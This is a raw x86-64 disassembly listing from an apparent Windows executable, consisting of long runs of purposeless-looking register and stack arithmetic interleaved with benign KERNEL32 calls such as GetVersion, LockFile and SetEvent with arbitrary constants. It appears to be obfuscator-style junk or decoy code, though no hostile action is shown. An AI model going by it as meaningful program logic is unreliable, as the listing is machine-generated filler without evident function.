mov word [rsp + 0x1c5c], ax
mov rax, qword [rsp + 0x13678]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x740]
or eax, ecx
mov rcx, qword [0x140369db8]
mov byte [rcx], al
mov eax, dword [rsp + 0x9a64]
mov dword [rsp + 0x9f8c], eax
mov eax, dword [rsp + 0x9ebc]
movzx ecx, al
mov eax, dword [rsp + 0x84ac]
sar eax, cl
mov dword [rsp + 0x9e6c], eax
lea rax, [rsp + 0x9e1c]
mov qword [rsp + 0x14a48], rax
mov rax, qword [rsp + 0x13270]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9df0]
shl eax, cl
mov dword [rsp + 0x9b8c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9edc], eax
mov rax, qword [rsp + 0x13528]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x73d]
xor eax, ecx
mov byte [rsp + 0x74d], al
movzx eax, word [rsp + 0x2b8c]
movzx ecx, word [rsp + 0x1310]
and eax, ecx
mov word [rsp + 0x1454], ax
mov rax, qword [rsp + 0x132a8]
mov ecx, dword [rsp + 0x8340]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7ccc], eax
lea rdx, [rsp + 0x42f78]
mov rcx, qword [rsp + 0x13558]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a60], eax
mov eax, dword [rsp + 0x9de0]
mov dword [rsp + 0x9f90], eax
mov rax, qword [0x140369f18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13630]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1403624e0], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b68], eax
mov rax, qword [rsp + 0x142a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14328]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x72c], al
mov rax, qword [rsp + 0x13cd8]
movzx eax, word [rax]
movzx ecx, word [0x140369bd8]
or eax, ecx
mov word [rsp + 0x2b80], ax
lea rax, [rsp + 0x74a]
mov qword [rsp + 0x14a50], rax
mov rax, qword [rsp + 0x12d88]
mov ecx, dword [rsp + 0x67d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9b10], eax
mov rax, qword [rsp + 0x13bc0]
mov rcx, qword [rsp + 0x13670]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9074], eax
mov rax, qword [rsp + 0x13440]
mov rcx, qword [rsp + 0x146a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x86e8], eax
mov rax, qword [rsp + 0x146a0]
mov ecx, dword [rsp + 0x9990]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9ee4], eax
mov rax, qword [rsp + 0x14910]
mov eax, dword [rax]
mov dword [rsp + 0x9f94], eax
mov rax, qword [rsp + 0x13058]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12f18]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x132b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13a88]
movzx eax, byte [rax]
movzx ecx, byte [0x140363f0d]
sub eax, ecx
mov rcx, qword [0x140369e68]
mov byte [rcx], al
lea rax, [rsp + 0x9bcc]
mov qword [rsp + 0x14a58], rax
mov rax, qword [rsp + 0x14670]
mov ecx, dword [rsp + 0x601c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14518]
mov dword [rcx], eax
lea rax, [rsp + 0x94d0]
mov qword [rsp + 0x14a60], rax
mov rax, qword [0x140369f30]
mov rcx, qword [rsp + 0x14638]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13ac8]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0x146f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bd0]
shl eax, cl
mov word [rsp + 0x2740], ax
lea rax, [rsp + 0x666]
mov qword [rsp + 0x14a68], rax
movsx eax, byte [rsp + 0x73c]
movsx ecx, byte [rsp + 0x759]
xor eax, ecx
mov rcx, qword [rsp + 0x140f0]
mov byte [rcx], al
lea rax, [rsp + 0x2858]
mov qword [rsp + 0x14a70], rax
mov eax, dword [rsp + 0x9b1c]
mov dword [0x140369ff8], eax
lea rdx, [rsp + 0x42fb0]
mov rcx, qword [rsp + 0x13558]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9b34], eax
mov rax, qword [0x140369cc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13de0]
mov qword [rsp + 0x14a78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14a78]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x14240]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
lea rdx, [rsp + 0x42fe8]
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9cd4], eax
mov rax, qword [rsp + 0x13848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13c90]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2c28], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9bc8], eax
movzx eax, byte [rsp + 0x3d2]
mov byte [rsp + 0x777], al
mov rax, qword [rsp + 0x148f0]
mov ecx, dword [rsp + 0x9d54]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9c50], eax
mov rcx, qword [rsp + 0x13b10]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x144b8]
mov ecx, dword [rsp + 0x9c54]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8180], eax
mov eax, dword [rsp + 0x9e04]
mov ecx, dword [rsp + 0x7438]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9d68]
mov ecx, dword [rsp + 0x9dd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b2c], eax
mov rax, qword [rsp + 0x13d80]
movzx eax, byte [rax]
mov byte [rsp + 0x778], al
mov rax, qword [rsp + 0x13370]
movzx eax, word [rax]
imul eax, eax, 0x14e
mov word [0x1403624cc], ax
mov rax, qword [rsp + 0x13af0]
mov rcx, qword [rsp + 0x13450]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13850]
mov dword [rcx], eax
lea rax, [rsp + 0x9bd8]
mov qword [rsp + 0x14a80], rax
mov rax, qword [rsp + 0x131b8]
mov ecx, dword [0x140362464]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14970]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12cf0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9c30], eax
mov rax, qword [rsp + 0x14148]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8fa4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fd0], eax
mov rax, qword [0x140369d70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7438]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x139b8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x766]
mov rcx, qword [rsp + 0x14418]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x149f0]
mov byte [rcx], al
lea rax, [rsp + 0x12ac]
mov qword [rsp + 0x14a88], rax
movzx eax, byte [rsp + 0x758]
movzx ecx, byte [rsp + 0x702]
add eax, ecx
mov rcx, qword [rsp + 0x13278]
mov byte [rcx], al
lea rax, [rsp + 0x210c]
mov qword [0x14036a000], rax
mov rax, qword [rsp + 0x142b8]
mov eax, dword [rax]
mov dword [rsp + 0x9f98], eax
mov eax, dword [rsp + 0x9dec]
mov rcx, qword [rsp + 0x130a8]
mov qword [rsp + 0x14a90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14a90]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x130b0]
mov dword [rcx], eax
mov rax, qword [0x140369d58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13538]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x138a8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9f9c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rax, [rsp + 0x72e]
mov qword [rsp + 0x14a98], rax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4b6d0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9ba4], eax
mov rcx, qword [rsp + 0x13458]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x133e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x144e8]
mov qword [rsp + 0x14aa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14aa0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13b28]
mov dword [rcx], eax
lea rax, [0x140369b98]
mov qword [rsp + 0x14aa8], rax
mov rax, qword [rsp + 0x14808]
mov ecx, dword [rsp + 0x9c50]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x702c], eax
mov rax, qword [rsp + 0x13c18]
mov rcx, qword [rsp + 0x13198]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12ec0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9fa0], eax
movzx eax, word [rsp + 0x13d8]
mov word [0x14036a008], ax
lea rax, [rsp + 0x75d]
mov qword [rsp + 0x14ab0], rax
mov eax, dword [rsp + 0x940c]
mov ecx, dword [rsp + 0x69c8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x144f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b28]
mov ecx, dword [rsp + 0x5c00]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x72b8], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1144
mov r9d, 0x1ef7
mov r8d, 0x269ec9a6
mov edx, 1
mov rcx, qword [rsp + 0x141f8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9c48], eax
movsx eax, word [rsp + 0x2c44]
mov rcx, qword [rsp + 0x14628]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x28b4], ax
mov rcx, qword [rsp + 0x13d88]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x14650]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14418]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12ef8]
mov byte [rcx], al
lea rax, [rsp + 0x752]
mov qword [rsp + 0x14ab8], rax
mov rax, qword [rsp + 0x13138]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x137b0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x138a8]
mov word [rcx], ax
mov eax, dword [rsp + 0x8180]
mov dword [rsp + 0x9fa4], eax
mov eax, dword [rsp + 0x9a24]
mov ecx, dword [0x140369d50]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140369f70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8860]
mov ecx, dword [rsp + 0x9d74]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x131c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x145e0]
mov eax, dword [rax]
mov dword [rsp + 0x9fa8], eax
lea rdx, [rsp + 0x42ae0]
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9fac], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x4bb50]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9c48], eax
mov eax, dword [rsp + 0x9e88]
mov ecx, dword [rsp + 0x9c94]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13600]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1384]
movzx ecx, word [rsp + 0x178c]
add eax, ecx
mov rcx, qword [rsp + 0x12e80]
mov word [rcx], ax
lea rax, [rsp + 0x337]
mov qword [rsp + 0x14ac0], rax
mov eax, dword [rsp + 0x52a8]
movzx ecx, al
mov eax, dword [rsp + 0x9c78]
shl eax, cl
mov dword [rsp + 0x9bc0], eax
mov eax, dword [rsp + 0x9f20]
movzx ecx, al
mov eax, dword [rsp + 0x9b10]
shr eax, cl
mov dword [rsp + 0x8c68], eax
mov rax, qword [rsp + 0x14188]
mov ecx, dword [rsp + 0x9cf4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13680]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c1c]
or ecx, eax
mov eax, ecx
mov dword [0x140362470], eax
mov rax, qword [rsp + 0x13950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x75b]
and eax, ecx
mov byte [rsp + 0x746], al
lea rax, [rsp + 0x2bd0]
mov qword [rsp + 0x14ac8], rax
movsx eax, byte [rsp + 0x71b]
movsx ecx, byte [rsp + 0x743]
add eax, ecx
mov rcx, qword [rsp + 0x148b8]
mov byte [rcx], al
lea rax, [rsp + 0x2c68]
mov qword [rsp + 0x14ad0], rax
mov rax, qword [rsp + 0x138a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x709c], eax
mov rax, qword [rsp + 0x14020]
mov rcx, qword [rsp + 0x14910]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9f74], eax
mov rcx, qword [rsp + 0x149d8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9fb0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [0x140369fc0]
movzx eax, byte [rax]
mov byte [rsp + 0x779], al
mov rax, qword [rsp + 0x13e18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14a28]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13448]
mov word [rcx], ax
mov eax, dword [rsp + 0x8cb0]
mov ecx, dword [rsp + 0x8180]
sub ecx, eax
mov eax, ecx
mov dword [0x1403624e4], eax
lea rax, [rsp + 0x9a10]
mov qword [rsp + 0x14ad8], rax
mov eax, dword [rsp + 0x871c]
mov ecx, dword [rsp + 0x62cc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13bd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13238]
mov ecx, dword [rsp + 0x7dd0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6ce8], eax
mov rax, qword [rsp + 0x14a28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a94]
sub eax, ecx
mov word [rsp + 0x2bac], ax
movzx eax, byte [rsp + 0x37f]
mov rcx, qword [rsp + 0x13668]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x755], al
lea rax, [rsp + 0x9b7c]
mov qword [rsp + 0x14ae0], rax
mov rax, qword [0x140369b90]
mov rcx, qword [rsp + 0x146e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x76ec], eax
lea rax, [rsp + 0x9b54]
mov qword [rsp + 0x14ae8], rax
mov rcx, qword [rsp + 0x14318]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x13eb0]
mov eax, dword [rax]
mov dword [0x14036a00c], eax
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9618]
sar eax, cl
mov rcx, qword [rsp + 0x13988]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1e24]
mov rcx, qword [rsp + 0x14280]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14060]
mov word [rcx], ax
movzx eax, byte [rsp + 0x759]
mov byte [rsp + 0x77a], al
mov dword [rsp + 0x20], 0x357d
mov r9d, 0x1c8a
mov r8d, 0x3e1a
mov edx, 0x2efc
mov rcx, qword [rsp + 0x132f0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9fb4], eax
mov rax, qword [0x140369e10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74c]
cdq
idiv ecx
mov rcx, qword [rsp + 0x13d80]
mov byte [rcx], al
mov rax, qword [rsp + 0x13158]
movzx eax, word [rax]
mov word [rsp + 0x2cbc], ax
mov eax, dword [rsp + 0x9074]
mov ecx, dword [rsp + 0x9cd8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x142d0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9f40], eax
mov rax, qword [rsp + 0x143e8]
mov rcx, qword [rsp + 0x138d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9c20], eax
movzx eax, byte [rsp + 0x747]
mov rcx, qword [rsp + 0x13278]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2b8], al
mov rax, qword [rsp + 0x13cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12d80]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140369fe8], ax
mov rax, qword [rsp + 0x13d38]
mov rcx, qword [rsp + 0x12d88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9d24], eax
mov eax, dword [rsp + 0x8e74]
mov dword [rsp + 0x9fb8], eax
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8ae8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x142f8]
mov rcx, qword [rsp + 0x13b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14480]
mov dword [rcx], eax
lea rax, [rsp + 0x74c]
mov qword [rsp + 0x14af0], rax
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17fc]
and eax, ecx
mov word [rsp + 0x2c0c], ax
lea rax, [rsp + 0x9a40]
mov qword [rsp + 0x14af8], rax
mov rax, qword [rsp + 0x145c0]
mov ecx, dword [rsp + 0x9bec]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14098]
mov dword [rcx], eax
lea rax, [rsp + 0x76c]
mov qword [0x14036a010], rax
mov rax, qword [rsp + 0x14628]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b74]
sub eax, ecx
mov word [rsp + 0x1350], ax
mov rax, qword [rsp + 0x14000]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20d8]
shl eax, cl
mov rcx, qword [rsp + 0x136d8]
mov word [rcx], ax
movzx eax, byte [0x140363efe]
cdq
mov ecx, 0x59
idiv ecx
mov byte [rsp + 0x73d], al
mov rax, qword [rsp + 0x14698]
mov eax, dword [rax]
mov dword [rsp + 0x9fbc], eax
mov eax, dword [rsp + 0x8e20]
mov rcx, qword [rsp + 0x148c8]
mov qword [rsp + 0x14b00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14b00]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9e18], eax
mov rax, qword [rsp + 0x13b00]
mov eax, dword [rax]
mov dword [rsp + 0x9fc0], eax
mov rax, qword [rsp + 0x14348]
mov rcx, qword [rsp + 0x130d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9950], eax
mov rcx, qword [rsp + 0x13078]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9d94], eax
mov rax, qword [0x140369d70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9aa0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x52fc], eax
mov rax, qword [rsp + 0x13930]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13ab8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3a7], al
movzx eax, word [rsp + 0x1384]
mov rcx, qword [rsp + 0x138a8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x1403624d8], ax
mov rax, qword [rsp + 0x13fc0]
mov eax, dword [rax]
mov ecx, dword [0x140369f88]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13d68]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x879
mov r9d, 0x2a65
mov r8d, 0x1a5c
mov edx, 0x253a
mov rcx, qword [rsp + 0x132f0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9fc4], eax
lea rax, [rsp + 0x73c0]
mov qword [rsp + 0x14b08], rax
mov rax, qword [rsp + 0x14118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9cd0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8e2c]
mov ecx, dword [rsp + 0x8c68]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c0c], eax
mov rax, qword [rsp + 0x146f8]
movzx eax, word [rax]
mov word [rsp + 0x2cc0], ax
mov rax, qword [rsp + 0x14288]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13400]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13e98]
mov byte [rcx], al
mov eax, 0x38
imul rax, rax, 1
lea rcx, [rsp + 0x4a950]
add rcx, rax
mov rax, rcx
add rax, 0x31
mov byte [rax], 1
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9cf8], eax
movsx eax, byte [rsp + 0x71b]
mov rcx, qword [rsp + 0x139c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6e0], al
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4acb0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9bf8], eax
mov rax, qword [rsp + 0x13740]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14a88]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x148f8]
mov word [rcx], ax
mov rax, qword [0x140369c00]
mov rcx, qword [rsp + 0x12d28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140369bc4], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x38e8
mov r8d, 0x243e
mov edx, 0x63
mov rcx, qword [rsp + 0x14420]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9fc8], eax
mov rax, qword [rsp + 0x146d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x96d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ca0], eax
movzx eax, word [rsp + 0x137c]
mov word [rsp + 0x2cc4], ax
movzx eax, byte [0x140363f0f]
mov rcx, qword [rsp + 0x13288]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0xa1], al
lea rax, [rsp + 0x9c00]
mov qword [rsp + 0x14b10], rax
mov rax, qword [rsp + 0x137d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b04]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9dfc], eax
mov eax, dword [rsp + 0x9bbc]
mov dword [rsp + 0x9fcc], eax
mov eax, dword [rsp + 0x7a5c]
movzx ecx, al
mov eax, dword [rsp + 0x9bb0]
sar eax, cl
mov dword [rsp + 0x5b2c], eax
movzx eax, word [rsp + 0x2b78]
mov rcx, qword [rsp + 0x13020]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13308]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1b8]
mov rcx, qword [rsp + 0x13400]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [0x1403525c3], al
mov eax, dword [rsp + 0x820c]
mov ecx, dword [rsp + 0x99d8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7b60], eax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x4b6d0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a04], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0x14240]
mov rcx, qword [rsp + 0x143b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9f90], eax
lea rax, [rsp + 0x9d68]
mov qword [rsp + 0x14b18], rax
mov rax, qword [rsp + 0x135d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bc0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13350]
mov ecx, dword [rsp + 0x9d68]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9bb0], eax
mov dword [rsp + 0x20], 0xefd
mov r9d, 0x3a07
mov r8d, 0x2a2f
mov edx, 0x200e
mov rcx, qword [rsp + 0x14470]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9fd0], eax
movzx eax, byte [rsp + 0x74b]
mov byte [rsp + 0x77b], al
movsx eax, word [rsp + 0x268c]
mov rcx, qword [rsp + 0x13658]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x26e0], ax
lea rax, [0x1403525af]
mov qword [rsp + 0x14b20], rax
lea rax, [rsp + 0x2ca0]
mov qword [0x14036a018], rax
mov rax, qword [rsp + 0x13be8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f58]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14330]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14308]
mov ecx, dword [rsp + 0x8cb0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13fc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13650]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72d]
sub eax, ecx
mov byte [rsp + 0x88], al
mov rax, qword [rsp + 0x13b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c34]
add eax, ecx
mov word [rsp + 0x1f24], ax
mov rax, qword [rsp + 0x132b8]
mov eax, dword [rax]
mov dword [rsp + 0x9fd4], eax
mov eax, dword [rsp + 0x9ee0]
mov ecx, dword [rsp + 0x99b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x99d8], eax
lea rax, [rsp + 0x82a8]
mov qword [rsp + 0x14b28], rax
mov eax, dword [rsp + 0x9b78]
mov ecx, dword [rsp + 0x5b9c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x59cc], eax
mov rax, qword [rsp + 0x13878]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x585]
add eax, ecx
mov rcx, qword [0x140369c98]
mov byte [rcx], al
mov rax, qword [rsp + 0x13b68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14730]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13fa0]
mov word [rcx], ax
mov eax, dword [rsp + 0x9f50]
mov rcx, qword [rsp + 0x14890]
mov qword [rsp + 0x14b30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14b30]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x8ad4], eax
mov rax, qword [rsp + 0x134e8]
mov ecx, dword [rsp + 0x8e74]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9e9c], eax
mov rax, qword [rsp + 0x13f38]
movzx eax, word [rax]
mov word [rsp + 0x2cc8], ax
mov rax, qword [rsp + 0x142e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x140f0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x144b0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x49c]
movzx ecx, byte [0x1403525b6]
or eax, ecx
mov byte [rsp + 0x233], al
movzx eax, word [rsp + 0x2bb8]
mov word [rsp + 0x2ccc], ax
mov rcx, qword [rsp + 0x14810]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9bf8], eax
mov rax, qword [rsp + 0x14058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6438]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c28], eax
lea rax, [rsp + 0x5784]
mov qword [0x14036a020], rax
lea rax, [rsp + 0x9e9c]
mov qword [rsp + 0x14b38], rax
mov eax, dword [rsp + 0x8ad4]
mov ecx, dword [rsp + 0x9cd8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13518]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x83e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b20], eax
